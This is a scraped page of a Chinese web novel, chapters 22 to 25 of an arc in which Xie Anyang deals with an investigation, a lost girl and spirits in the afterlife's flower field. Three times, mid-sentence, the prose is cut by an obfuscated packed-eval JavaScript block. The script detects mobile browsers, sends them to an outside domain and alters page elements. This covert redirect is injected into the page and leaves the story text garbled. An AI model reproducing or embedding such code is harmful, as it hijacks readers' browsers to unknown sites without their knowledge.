刘钦这回睁眼了,挑眉问:“他是谁?” 谢安阳漫不经心地说:“一个朋友。” “什么样的朋友?”刘钦追问。 谢安阳说:“你在怀疑我?” 刘钦却拽住他胳膊,“安阳,别让我查你。” 谢安阳吐出一口气,只好说:“他的确是我一个朋友,在忘川河畔认识的,你们也看到了,我哪哪都有朋友,认识他怎么了?” 刘钦“哦”了一声,不咸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496505|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不淡地问:“怎么认识的?” “刚来那会儿我不知道忘川水有腐……”谢安阳顿了一下,尴尬地继续说:“忘川水会溶万物,我那时离忘川有点近,他以为我想自杀,就把我拉了回来,还给我一顿好骂,结果不打不相识呗。” 刘钦未置可否,只是问:“他来过花田几次?” 谢安阳估算了一下,“我约了他两次,想给他看画,还有第一次他救我一命,我的印象是三次。” 刘钦瞥了一眼杨洵,“西园有记录吗?” 杨洵顿了一下,“我去查。” 杨洵又问谢安阳:“他第一次是什么时候来的?” 谢安阳:“快半年了吧。” 刘钦看向杨洵,杨洵却摇摇头,还提醒说:“他是地府的人,忘川府没有他的档案,想要查他,恐怕得找王掌事借调。” 谢安阳想到什么,满眼的不可置信,“你怀疑他跟花田那些命案有关?!” 杨洵说:“他出现得太巧了。” 谢安阳却一口否认了,“不可能,他不是那种人,你们肯定弄错了。” 刘钦却淡漠地说:“我自会查清楚,你说了不算。” 谢安阳也跟着讥讽:“那现在能还我清白了?” 刘钦不高兴地说:“你本来就不是什么好东西。” 谢安阳忍了半天,默默地劝解自己他是执法者,别惹他。 刘钦又问:“还有一件事,窥镜曾看到你和小植在忘川府外与人发生了争执。” 谢安阳没表现出异常,“还不是因为你,害我忘了这回事,不是我们和他发生争执,是他突然出现的,想打小植……” 刘钦说:“他的确像是冲着小植来的。” 谢安阳:“这里是地府,怎么还会有人针对性这么强?” 刘钦却突然端详了他一阵,“你不会早就猜到这小丫头被人盯上了,特地带她来的忘川府吧?” 谢安阳愣了一下,竟低笑一声,出乎意料地没再狡辩,“差不多吧,我帮你们忘川府已经够多了。” 刘钦很无语:“你一早怎么不说?” 谢安阳嬉皮笑脸地说:“当时就是猜测,顺道试探了一下,哪会想那么多?” 刘钦冷哼一声。 谢安阳接着问:“怎么样,能不能查到是什么人?” “凭借窥镜那点影像,应该不能。” 谢安阳露出鄙夷的目光。 刘钦:“我尽力。” 谢安阳说:“你可别尽力,忘川府出现这样的危险分子,难道不该早日把他揪出来?” 刘钦笑了笑,面无表情地盯着他:“谢安阳,你最好没掺和这些乱七八糟的事。” 谢安阳沉默了一会,无奈地说:“林朝找我有事,我回去了。” 22. 问心(七) 谢安阳气冲冲的,一路上都在想沈长鸣和吴桉的事,走得难免急躁,居然都没听到身后有人喊他。 直到他踏入枉死城边界后,身后不远处稚嫩的童声才清脆起来,他听见有人委屈地喊了一声,“哥——” 熟悉的女孩声音。 谢安阳猛然转回身去,却看见天植站在城门边界外,他原地僵硬了一瞬,略为震惊地问:“小植,你怎么来了?” 天植不像在花田那样满身血污了,刘钦带她换了衣服洗净了脸,但她也不知道遇到了什么,此时此刻哭得不像话,整个脸都是花的,嗓音也几乎哑了,“哥,我我找不到你了……” 谢安阳有些不知所措,只好问:“你怎么知道我在这里?” 天植手忙脚乱地擦着脸,“我看到你的背影很熟悉,可是我喊了你一路,你都没应声。” 谢安阳斥责的话到嘴边,终究还是心软了,“这里是枉死城,你进不来的,回去找刘钦哥哥吧,他会好生待你。” 天植却不乐意了,又哭着说:“我不要,我要跟你走。” 谢安阳扶着额头,耐着性子说:“可你没法进来,咱俩终究殊途。” 天植似乎听进去了,撇撇嘴不说话了。 谢安阳叹口气,温声劝说:“天植,回去吧。” 他这回没再犹豫,径直转身离开。 然而他没想到的是,天植竟哽咽了几声,哭声大了许多,似乎还追近了些,“哥——等等我——” 谢安阳担心她受到枉死城结界的排斥,就回身想要阻止她。 然而下一瞬,只见天植一步踏入了枉死城中,因为跑得太急,来到谢安阳面前时还栽了一下。 谢安阳眼疾手快地托住她,随后感觉到浑身发冷,他扶住天植的双肩,难以置信地打量着她,话音几不可闻地颤抖起来,“你能进枉死城?” 天植没听懂他的意思,继续哭着说:“别丢下我。” 谢安阳心里慌乱起来,再次追问她:“刘钦是不是给过你什么特殊的东西?” 天植皱着眉摇摇头。 谢安阳突然生了个念头,连忙扒开她的左袖,然而天植的左腕白皙一片,什么也没有。 谢安阳心中感到莫名其妙,只好继续问另外的可能性,“你还记不记得生前的事?” 天植抹了抹眼泪,继续摇头。 谢安阳不禁自言自语起来:“还是说你本来就能进枉死城?可也不对,你怎么会到花田里去?” 天植总算听懂了,连忙揉着眼睛回答:“他们走得太快了,我跟不上,被洪……洪……” 谢安阳提醒说:“洪磊!” 天植点点头:“被洪磊和一个叔叔拖进去的,我害怕。” “……” 谢安阳一时竟不知该说些什么了。 很多人忘记生前的事,甚至不知道会被带去忘川府。他现在很想知道:除了天植,还有多少人是被硬生生拽进了花田的!? 天植止住了哭泣,小声问:“哥哥?” 谢安阳却抹了把脸,淡声说:“我知道了。” …… 他们到家的时候,整座院子里静悄悄的,街坊四邻已经睡了,而他门口则有个黑乎乎的人影。 谢安阳牵着天植靠近了些,才发现是林朝那兔崽子靠着门睡了过去。 谢安阳一时有些气愤,就走过去不轻不重地踢了他一脚。 林朝迷迷糊糊中揉了揉眼睛,“谁踹你大爷?” 他一睁眼就对上谢安阳冷然的目光,顿时吓得一哆嗦。 谢安阳问:“谁大爷?” 林朝指着谢安阳:“你大……我是你……不对,是他……” 林朝憋了半天,才想到最好的措辞,“你是我大爷!” 谢安阳冷哼一声。 林朝却没在意他的冷意,视线又落到天植身上,一脸惊奇地问:“安……谢大哥,她是谁呀?” 谢安阳白他一眼,显然不想搭理他。 林朝便伸出唯一的左手,看样子是想抱一抱天植。 谁料天植竟躲开了,还躲到谢安阳身后探头打量他,表情一度有些古怪,眼神也像是在看傻子。 谢安阳也打开他的爪子,“你干什么?” 林朝尴尬地收回手,继续问:“这就是咱闺女啊,叫什么名字呀?” 谢安阳忍着脾气说:“什么咱闺女,不会说话就别说话!” “那是你闺女啊?” 谢安阳:“?” 天植实在看不下去,就冷冷地回了一句,“他是我哥。” 林朝也不甘示弱,争辩了一句,“胡说,这是我哥!” 谢安阳是真动了杀心,恨不能当场将林朝打死,他强忍住那份冲动,咬牙切齿地问:“就是说,你能不能让开,风这么大,你是不是不冷?” “哦,好的。”林朝恍然大悟,连跪带爬地让开了。 直到谢安阳推开门,林朝又想跟进来,谢安阳便抬手将他挡在了门外,“你又想干嘛?” 林朝就势嚎了一嗓子,“欢儿姐不给我缝胳膊了。” 谢安阳来了兴致,好奇地问:“你作什么死了?” 林朝委委屈屈地说:“我有点喜欢欢儿姐,白天就跟她说了,没想到她会不高兴,还把我赶出来了。” 谢安阳幸灾乐祸:“该。” 林朝继续哭,“谢大哥呜呜呜……” “您慢慢呜,呜完赶紧去睡觉。”谢安阳丝毫不给他面子。 林朝“呜”得更大声了,连天植都觉得声音刺耳。 谢安阳也不恼怒,径直在门口蹲下身,默默地听他哭了一阵,估摸是他也觉得尴尬,声气逐渐弱了下去。 谢安阳估摸着他应该能听清了,不用去厨房找菜刀了,就问:“你来找我干嘛?” 林朝咳嗽了一声,呜呜咽咽地说:“欢儿姐说,后天谭爷爷要去轮回了,希望你能去见谭爷爷最后一面。” “这么快?” “是啊,谭爷爷寿终了。”林朝继续抽抽噎噎,“还吵着要见你。” 其实谢安阳心里早该有数的,那老头在枉死城待了几十年,虽说晚年患了阿尔兹海默症,但周围人待他都很不错,可算是后半生顺遂了。 这几年他逮着个年轻人就喊儿子,其实也算可怜了,而今要去轮回了,无论出于什么心理,他去送一送总是好的。 谢安阳认真打量了林朝好几分钟,轻声唤了他一声,“林朝,帮个忙。” 林朝立马精神抖擞,“哥,你说。” 谢安阳目光示意天植,“明天带小植去你那儿玩。” “怎么带?” 谢安阳说:“好吃好喝好玩,随便你,带她找谭爷爷也行,就是别走太远,也别闹出 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林朝贴得很近想要偷听,却没偷听到后面的话,顿时疑惑地问:“我也可以的,哥哥。” 谢安阳白他一眼:“滚。” 林朝天真地相信了,还兴奋地追问:“那你到底要干什么?” 谢安阳领着天植往卧房走,一边整理床铺,一边扔下一句,“这不用你管,我夜里要是不回来,你就带小植回这里休息。” 谢安阳又翻箱倒柜找出几件男人的衣服,发现对天植来说都太大,一时间犯起了愁。 林朝看出了他的想法,献宝似的凑上前说:“可以找欢儿姐要裙子,她要是知道枉死城多了个小丫头,肯定会喜欢的。” 这倒也是,比起男人的衣服,小姑娘应该会更喜欢裙子。 林朝偶尔还是有点脑子的。 谢安阳三言两语将天植哄去睡了,又带着林朝来到外屋,准备把这小子也送走,谁知林朝又凑过来问:“哥,你让那小丫头住在你这里,那你准备住哪?” 他倒是没想过这茬,于是看向不远处的沙发,琢磨着凑合一晚应该没什么问题。 林朝眨眨眼说:“哥,你可以跟我住。” 谢安阳将他浑身打量了一遍,满眼带着嫌弃:“你还不回去?” “那你住哪儿?” 谢安阳没打算搭理他,直接把他轰出去了,还故意警告说:“肖爷爷他们都睡下了,你再闹出动静,明天他们揍你的时候,我可不会拦着。” 林朝身体几不可查地战栗了一下,“好的哥,明天我来接小植姐。” “滚。” 等送走了林朝这个哭包,谢安阳兀自沉思了一阵,走到一旁拿出所有的画纸,又翻出一支钢笔来,坐在一旁写东西。 枉死城也没有电源是最让他苦恼的一件事,偏生东园给的夜光石也不够亮堂,就很烦。 他自认为动作够轻了,没想到写了俩小时后,天植就蹑手蹑脚地靠近了,还倒了杯茶放在他旁边。 天植声问:“哥哥你在干什么?” 谢安阳轻声说:“抄写宣传手册。” “这有什么用?” 谢安阳兀自想象了一下,欣慰地笑说:“写给花田的人,或许对他们有帮助。” 23. 问心(八) 谢安阳第二天一早就来了花田。花田的人多半会选择在白日进入休眠,也有一部分人依旧保持清醒。 一路上或清醒或糊涂的人跟他打着招呼,他也没在意,径直来到某一偏僻之处,韩先生仍在那里背书。 谢安阳远远地唤了一声“韩先生”。 韩先生见他手中有两瓶酒,没见过这种玻璃的酒瓶,就不解地问:“你这又是什么稀奇玩意?” 谢安阳笑答:“韩先生,我来找你喝酒。” “你这是酒?” “我们这个朝代鲜少用酒坛啦。” 谢安阳总能带来许多新奇的事物,韩先生不疑有他,听到是酒,还有些许欣喜,转念想到什么,又摇了摇头,“不妥,洪磊他们时常会路过这里,我们去那边吧。” “今天倒是没见着洪磊,”谢安阳咕哝了一句,“韩先生莫怕,杨洵他们就在附近,不会有事的。” “还是避一避吧,宁招惹君子,勿招惹小人。” 然而谢安阳偏不,还搬来一张折叠小桌置于花田,“我看这里风景好,就在这里吧。” 韩先生:“……” 这里的白条并不同人间那样明亮,从早到晚都昏黄色的,就算花田里的花好看,但也只有花了,谈不上什么好风景。 谢安阳看韩先生收好手里的书,又忍不住劝说:“韩先生别背了,这玩意又没用。” 韩先生佯怒地说:“年轻人不懂就不要胡说。” 谢安阳不以为意地笑了笑,斟了两杯酒,将其中一杯推到他面前,“来,韩先生一起喝。” 韩先生就挺无奈的,可转念一想,连谢安阳都不怕,他一把老骨头又在怕什么呢?于是他也不管了,接过谢安阳递来的软垫席地坐下,端过酒品了一口,还微微皱了皱眉。 谢安阳眨眨眼,兴奋地问:“韩先生,怎么样?” 韩先生品味了一会,挑眉问:“这是什么酒?” 谢安阳说:“朋友自己酿着玩的。” 韩先生赞许地点了点头,“入口甘甜,还不错。” 谢安阳笑说:“他的手艺确实不错,唉,可惜了。” “可惜什么?” “以后喝不到咯。” 两人聊天正在兴头上,谢安阳的脚踝又被人抓了一把,那人的手瘦得皮包骨,硌得慌,再熟悉不过了,他悠悠地抱怨:“好你个老匹夫,有好东西不一起分享!” 又是茴香豆先生,估摸着是闻着酒香爬过来的。 韩先生眼中格外嫌弃:“又是你!” 茴香豆的到来早在谢安阳预料之中,便顺手斟了杯酒递给他,还没好气地说:“你别老抓我脚,怪吓人的。” 茴香豆抢过酒,还不忘冷哼一声:“不这样,你们又怎么能看到我?” 这话没法反驳,的确每次都看不到,他每次来都是用爬的。 谢安阳见韩先生喝酒还不肯放下书,正好茴香豆也来了,便一本正经地问:“对了,两位前辈,你们不打算轮回了吗?” 茴香豆立马嗤笑:“花田的人哪还有轮回资格?” 谢安阳很是不解:“怎么会没有,先前城主跟我说过,只要你们愿意放下执念,再喝一次忘川水就能入轮回了。” 茴香豆不以为意,自来熟地抢过酒瓶倒酒喝。 而韩先生似乎也不在意,握着酒杯的手顿了顿,只叹息一声,“老夫寒窗苦读数十载,到头来连个功名也考不上,一生最是愧对妻女,重来一遭难道就能考上么?罢了,就当是上天给老夫的惩罚吧!” 谢安阳也算是在老封建堆里混的,怎么可能想不到他们会这么说,心中早已斟酌好了措辞,“别介呀韩先生,听说人间有了新的八股文,还改革了新的科举制度,已经不考你这个了。” 茴香豆问:“那考什么?” 谢安阳噎了一下,突然不知道该怎么往下说。 韩先生则饶有兴致地问:“科举制改革了?” 谢安阳笑说:“现在已经不叫科举了,换了个名字,叫做高考。” 韩先生问:“有什么区别?” 谢安阳神情认真地说:“本质上没有区别,但比你们从前的科举更公正,也不会再有徇私舞弊,而且女孩子也能参加。” 茴香豆喝着酒,还不忘嘴欠:“女人也能参加考试,世间哪有这样的道理?” 谢安阳还没来得及怼,韩先生就先翻个白眼,替他怼了,“你这话老夫就不爱听了,同样是人,为何女孩儿不行?你自己不如范进,就不认同别人了?小女若是男儿身,定比男子强上数倍,可惜……” 韩先生说不下去,就倒了一杯酒闷头灌下去,才哀婉一句,“听你这么一说,小女若是能轮回到你们这个朝代就好了。” 谢安阳附和:“是啊。” 韩先生又问:“对了,你说的新八股文又是什么?” 谢安阳倒是愣了良久,目光放得很空,他淡声回答说:“是一些以科学为基础的新科目。” 茴香豆一边倒酒,一边插了一句:“胡言乱语。” 谢安阳斟酌了好一会,向二人比出三根手指,一本正经地说:“不知道了吧,所谓科学就指三样东西,一是细胞学说,二是生物进化论,三则是能量守恒和转化定律。” 他说到最后,声音不禁弱了下去,双眸间也带了惆怅——那个比地府还科学的人间离开得太久,记忆都要模糊了。 韩先生倒是来了兴致,问:“那是何物?” 谢安阳憋了一会,换了个老封建们更容易理解的说辞:“古时说道生一,一生二,二生三,三生万物,而科学的存在,某种意义上讲,算是研究道从一生成万物的过程吧。” 其实这样说也不大妥当。要是直接对他们说‘’科学就是研究这个世界的发展规律’,范畴也太大了,听起来就不太像人话。 要是他们问起更多,就谢安阳对世界了解的半斤八两,可能也说不清楚。 果不其然,茴香豆抿了口酒,说:“不懂。” 谢安阳心中愤懑难消,“来来来,我仔细给你说道说道,就从细胞学说讲起,所谓细胞学说就是……” 两人听他叽里呱啦说了一大堆,韩先生似懂非懂地点点头,茴香豆则若有所思了一阵,问谢安阳:“阳儿,你说能量能够转化而不会平白产生,那为何我们能在花田长存千年而未消亡?” 谢安阳:“……” 所以说地府一点都不尊重科学。 也说不定,以他对科学那一星半点都称不上的认知,的确无法解释地府的一切,但未来人才辈出,没准某一天就有个人能够说清楚这里的一切呢。 谢安阳觉得自己脑子也是有问题,枉死城的一切他都解释不清楚,还跑来跟两个老封建讲科学。 韩先生素来比较听人话,他知道谢安阳向来不会信口齿黄,便感叹说:“若是还能轮回,老夫定要会会你说的高考,看一看这个新的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496507|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举制度是什么样。” 谢安阳趁机说:“我方才说过,你若能放下这本书、放下心中对妻女的亏欠,再同守卫说一声,就能去轮回了。” 韩先生嗔怒道:“阳儿,你莫要哄老夫开心了,老夫在花田待了上千年,从未听说这里有人去轮回。” “哪能,晚辈说的可是实话!”谢安阳就不太甘心,继续劝说:“反正你时常守在这里,平日也无事可做,何不试一试放下执念?若是能去轮回,说不定你还能再见到妻子和女儿,再说人间新的科举很公正,你下一世定能取个好功名!” 韩先生回味着他说的科学,好一会才发自内心地笑了,又情不自禁低嗽起来,咳完歪头想了一想,试探地问:“那我就……试试?” 谢安阳连连点头,看韩先生依依不舍地放下书,就像是放下了一生的遗憾,也放下了生前的执念。 谢安阳瞅准时机将他的书抢走,以免这老封建反悔,还重新倒了杯酒给他,“韩先生,等喝完这顿酒,我带你去找杨洵吧,如若还是不行,再回来接着背你这八股文不迟,这本书先交给我保管怎么样?” 韩先生总还是想开了,下定决心似的松手了,他将那杯酒一饮而尽,又吐出一口气,遂欣慰地看着谢安阳,“阳儿,老夫得感谢你,是你让我知道了许多新的事物。” 谢安阳卖乖道:“人间还有许多新东西,与你那个朝代可不一样,你若是能去轮回,还会见识更多。” 韩先生这回高兴地附和:“好好好,听你的。” 谢安阳又看向茴香豆,问:“孟先生,你呢?” 茴香豆一直听他俩讲,在旁边笑得意味深长,倒没料到谢安阳会叫他,不禁愣了愣,“我?我就算了。不过阳儿,我是姓孟,却不是什么孟夫子,你别真把我当孔乙己了。” 谢安阳懵了一下,“哦,是吗?” 三年了,谢安阳与他俩也算相熟,可从头到尾都没说过他是孟夫子。 茴香豆瞥了他一眼,也忍不住叹口气,“年轻时总以为自己是气运之子,闷头撞破了一道道南墙,直到头破血流,也看清了自己并非那个万中之一,可还是不愿灰头土脸地回头,谁知慢慢地,竟穿上了这身长衫。” 谢安阳感到疑惑:“既然看清了,为什么不能试着放下?” 茴香豆哼声抱怨:“你这年轻人说得倒容易,总要有人一生心怀赤诚的。” 韩先生冷笑一声,泼的一手好凉水,“分明是自命清高,还说什么赤诚,呸,不要脸。” 茴香豆出乎意料地没怼回去,平声静气地骂:“你个老匹夫懂什么。” 谢安阳跟着笑:“你这样的人容易入魔吧?” 茴香豆怒骂:“走开。” 谢安阳也懒得劝,他已经尽了最大的善,并不想没完没了地多管闲事:“那你是打算永远待在花田?” 茴香豆说:“众生皆苦,下一世无论轮回成什么样,都如同蜉蝣短暂而又悲哀,我累了。其实待在这里也不错,不必愁温饱,偶尔看看忘川河畔的落日,与大家聊天南海北也不错。” 谢安阳欲言又止。 “阳儿,不必劝说了,我意已决。”茴香豆说着,还将心思动到了谢安阳手边剩的那瓶酒上。 谢安阳眼尖,当即打开他的手,“这可不能动。” 茴香豆轻哼一声:“阳儿,你怎么这样抠门?” 谢安阳神情却格外认真:“下次吧,这个要送人的。” 24. 问心(九) 随后有个白衣姑娘也找过来了。 “谢公子,我想请你帮个忙。” 何琬面上带着笑容,还有些不好意思,她突然拔下头上的银簪,用手帕包好,双手递到了谢安阳面前。 谢安阳:“?” 韩先生笑着摸摸胡子,茴香豆也笑得一脸不怀好意,谢安阳才发现何琬的银簪是准备给他的。 谢安阳就有点慌,握着酒杯的手抖,没敢接。 姑娘家的发簪,还是不好收的。 可是就这样晾着人家姑娘,好像更不好。 跟古代人待在一起时间长了,谢安阳感觉这种情况应该作个揖礼,就直起身,别扭地拱手作了个揖。 韩先生却一掌拍了他后腰一下,严肃地说:“腰背挺直!” 谢安阳:“?” 韩先生又正了正他的肩膀,“端正!” 谢安阳手忙脚乱地端正了。 茴香豆见此,也幸灾乐祸地说:“阳儿,老匹夫说你猥琐。” “走开。” 谢安阳感到很无语,默默地看向韩先生。 韩先生却扬起下巴轻哼:“古人云,礼制不可废。” 何琬看着这一幕,略有些不好意思,连忙解释说:“谢公子,我知道我相公的去处了。” 再晾着人不好,谢安阳顺手接过银簪,“这是好事呀。” 何琬柔声说:“我放下执念啦,听人说放下执念就能去忘川府报道,我想去找他了。” 茴香豆嗤笑了一声。 谢安阳则硬着头皮问:“可否要我带你去忘川府?” 何琬连连摆手,“多谢公子,不必了,我找附近的差使便好。” “那你这是……” 何琬温和地笑起来,“这是我相公送我的定情信物,他们说轮回时无法带走身外物,谢公子并非花田的人,可否请你替我保管一段时日?” 其实生前的身外物本是带不来地府的,据说是有的人执念过甚,会眷恋某一样非常重要东西,那样东西就随身带来地府。 谢安阳默默收好了,“那我先替你收着,等你下次来地府的时候,我再归还于你,若是有机会的话,我也可以让刘钦大人带去人间给你。” 何琬欣喜万分地行了一礼,“多谢公子!” 谢安阳感到很尴尬,完全不知道该怎么回礼,不顾身边俩老东西如何笑,连忙转移话题问:“冒昧问一下,你是如何得知你相公下落的?” 何琬说:“兄长说我相公一直在寻我,可惜花田太大,他找不到我,便先一步轮回了,我现在得知他的消息,定要去寻他的。” 谢安阳心中存着的那点疑惑烟消云散,他真心实意地一拱手,“那便恭喜何姑娘离开花田了!” 何琬迟疑了一下,似乎还有话要说,可千言万语到了嘴边,又说不出口了,便只道了一句,“那就……后会有期了,谢公子。” “好,后会有期。” 何琬离开后,茴香豆张口就调侃:“阳儿,我发现你人缘很好。” 谢安阳翻个白眼,“我要是人缘不好,你能在这种鬼地方喝上酒?” 茴香豆只是笑作一团。 谢安阳则端详起了银簪——是两朵小花,有点像是茉莉。 韩先生似乎猜到了什么,就提醒说:“这是茉莉,意为‘莫离’,文人都喜欢用这套讨姑娘芳心,想必她那位相公也是个读书人吧。” 谢安阳并未在意,将银簪收了起来。 茴香豆则突然搭了一句话,“阳儿,我记得你有条手串,可否借我看一眼?” 谢安阳犹豫了一下,不知道他怎么知道自己有手串的。 谢安阳犹豫了一会,还是掏出来递给了他。 谁知茴香豆端详了一会,目光竟复杂起来:“这玩意不值钱,你怎么还留着?” “怎么就不值钱了?” “燕山石,出水中,名夺玉,莹白坚而温润,土人琢为器物,颇似真玉【注】。”茴香豆口中念念有词,又一本正经地说:“这是汉白玉,本质是一种不值钱的石头。” “我知道。”谢安阳其实一直都清楚这玩意不是真玉,可毕竟是常宇给的。 茴香豆继续说:“你留着没什么用,建议你还是扔掉吧。” 谢安阳总觉得他话中有话,“你是想说什么?” 茴香豆却不再言语了。 谢安阳正准备继续追问,谁料突然有人伸手把他酒抢了,对方还顺道一口气喝了。 谢安阳手上空了,整个人还是懵的。 韩先生将他拉到旁边,怒不可遏地问:“你们干什么?” 青年一头黄毛格外亮眼,还端出一副痞态来,张口就阴阳怪气,“枉死城的人就是不一样,还有酒喝。” 另一个小青年则晃了晃剩下那瓶酒,又收好另一瓶满的,“不错,知道孝敬洪哥了。” 与此同时,茴香豆察觉不对,又溜了。 谢安阳还想上前跟他理论,韩先生却有意挡住他,“既然拿了便快些滚!” 谢安阳不甘心地想要上前,“韩先生别拦我,让我跟他们……” 要不是有窥镜在,非得打死他们不可。 韩先生却继续把他往回拉,“阳儿,别去。” 谢安阳:“?” 黄毛却没打算放过他们,一把掀开了韩先生,“谢安阳你躲什么,你前些天英雄救美不是很帅吗?” 谢安阳顺手扶了韩先生起来,还一边抬手挡在面前,一边往后退,“我警告你,执法大人刘钦是我哥,你敢动我,他揍不死你。” 黄毛一脸狞笑,“那就试试吧!” 谢安阳秒怂,继续往后退,“我不跟你计较,你拿了酒就走吧,不然下次我不带酒来了。” 黄毛却冷笑说:“你在我们地盘喝酒经我同意了吗?” “什么你们地盘,这是枉死城地界……行你的地盘。” 旁边的小青年不耐烦了,跟着磨拳擦踵:“别跟他废话了,揍一顿吧,上次洪哥不爽还揍了我们,不揍他回来我不甘心!” 谢安阳底气不足地警告:“惊动这里的巡视差吏,你们就完了。” 黄毛:“爷爷好怕。” 谢安阳:“你妈的。” 他刚说完,后脑勺先挨了韩先生一巴掌,“说什么浑话!” “什么时候还计较这些,反正我打不过,跑啊!” 这俩人是冲他来的,不会搭理韩先生,于是他将韩先生拉到安全位置,就朝着另一个方向跑,还扯着嗓子冲河畔喊:“救命啊!杨洵你人呢!!” 黄毛似乎有所忌惮,可想到上回的事很不甘心,就快步追上去给了谢安阳一拳,谢安阳踉跄着栽进了淤泥中,他于慌乱中大喊了一声,“杨洵,我在这里,救命!” 黄毛就不信邪,抬脚就踹,还是小青年注意到远处有个黑影越靠越近,有所忌惮地拉住了他,“忘川府的人,算了吧。” 黄毛往身后瞥了一眼,果然见到了杨洵正往这边靠,当即往谢安阳身上唾了一口,还不忘踹他几脚,才拿着酒悻悻地离开了。 谢安阳被韩先生扶起来,他捂了下鼻子,竟抹了一手的血。 这俩王八蛋下手可真狠。 韩先生手足无措地用衣袖给他擦污泥,他倒是没介意,就低声说:“对不住,连累你了,韩先生。” 韩先生也是很无奈,“往后别招惹他们了,好生在枉死城待着。” 谢安阳未置可否,淡声提醒:“韩先生,杨洵过来了,你去找他吧。” 韩先生知道他说的是轮回的事,眉目不禁认真起来,他往后退开一尺,又郑重其事地作了个长揖。 谢安阳慌忙回着礼,却听韩先生长叹一声,说:“阳儿,就此别过了。” 谢安阳露出个大大的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496508|170220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容,“若我当选城主,下一世你还能见到我。” 韩先生欲言又止,最终还是转身离开了。他背影佝偻、步履蹒跚,夕阳下的影子拖得长长的。 杨洵远远地看了谢安阳一眼,知道他没什么事后,本来还想来找他,听到韩先生的来意后,又忍不住看了他一眼。 谢安阳一脸无辜地耸耸肩。 杨洵恨铁不成钢地瞪他一眼,没再管他,领着韩先生离开了。 谢安阳抹了下唇角的血,很少,但居然有点疼,就随手在脚下的泥土抹了一把,能抹到一点腥臭的血,随手蹭在了脸上。 令谢安阳没想到的是,杨洵竟是茴香豆叫来的,那老东西依旧是一步步爬过来,又一手抓住他的脚,然后问:“阳儿,没什么事吧?” 谢安阳捂着脸抱怨:“你怎么能扔下我们呢?” 茴香豆不甘示弱:“我留在这里不是给你添乱么,何况我把杨洵给你喊来了。” 谢安阳轻哼一声,不领情,心里百味杂陈。 茴香豆的十指指缝里全是血和泥,估摸着爬过去太急,遭了不少罪,“韩老头是走了吗?” 谢安阳板着脸:“昂。” 茴香豆惋惜了几秒钟,又得意地说:“那老匹夫终于走了,这下清净了。” 谢安阳阴阳了一句,“往后也没人陪你吵架了。” 茴香豆满不在乎地说:“这不是还有你这小兔崽子嘛?” “我也要走了。” “你要去哪,你不来花田了?” 谢安阳无奈地说:“我可能也得去轮回了。” 茴香豆有些惊诧,“你余下的寿命结束了?” 谢安阳没好气地说:“我是枉死城城主候选人,城主说要去人间历练。” “哦。”茴香豆有些唏嘘,忽而认真地问:“我在这里待了上千年,怎么从未听说候选人得去人间历练?” 谢安阳没在意,“可能是城主心血来潮吧。” 茴香豆继续“哦”,还盯着他看了一阵子。 谢安阳终于察觉有什么不对劲,“你不是清朝的人吗,怎么活了上千年!?” 茴香豆说:“我从未说过我是哪个朝代的人,是你把我当成孟夫子的。” “那你一开始还问我茴香豆有几样写法了!” 茴香豆:“惭愧,我是觉得好玩。” 谢安阳还是不肯相信:“那你怎么知道雷家!?” 茴香豆抱着胳膊说:“小兔崽子,说话前考虑下逻辑?这里各个朝代的人都有,跟他们待久了,能了解很多东西。很多人装作现代人,你根本分不清。” 谢安阳气得不轻,从齿缝里挤出一句,“我是没分清。” 茴香豆不以为然,“阳儿啊,你难道没发现,你总喜欢先入为主?这可不是好习惯哦。” 谢安阳倒是想起被坑签下问心契的时候。 茴香豆继续说:“阳儿啊,有些事你不要因为表面那层幻象,而去忽略中心的逻辑,有时候先入为主并非好事。” 谢安阳就有些赞许,“你这是得到了唯物主义真传啊,从哪听来的?” 茴香豆抱着胳膊说:“在你之前我就遇到过你们朝代的人了,所以说你这么久以来都没发现我的问题。我若是心存恶念,你早晚得栽在我手里。” 谢安阳接着翻白眼,心说:你可能不知道我有彼岸花,就算你坑了我,我也有无限的容错。 茴香豆又品了口酒,无限感慨:“说真的,你们这个朝代的酒真的好喝,可惜我不想去人间,不然跟那老东西去会会你说的高考也不错。” 谢安阳还没来得及怼两句,就听到远处突然传来“咕咚”一声,似乎有什么重物掉进了水里。 附近的人们听见了,纷纷围了过去。 谢安阳直觉又有人被推下忘川了,索性不再纠结没用的事,扔下茴香豆,快步跟随人群找过去。 25. 问心(十) “是何琬!她怎么掉下去了?”有人惊呼了一声,人潮中随之爆发一阵议论。 “可没人推她,是她自己跳下去的。” “她怎么会想不开啊?” “那谁知道,我还好奇她去那边干嘛呢,突然就跳下去了。” 众人将河畔围得水泄不通,谢安阳心中隐隐不安,好容易掀开人潮进去了,却只能看见水面上漂浮着一团白色的人形。 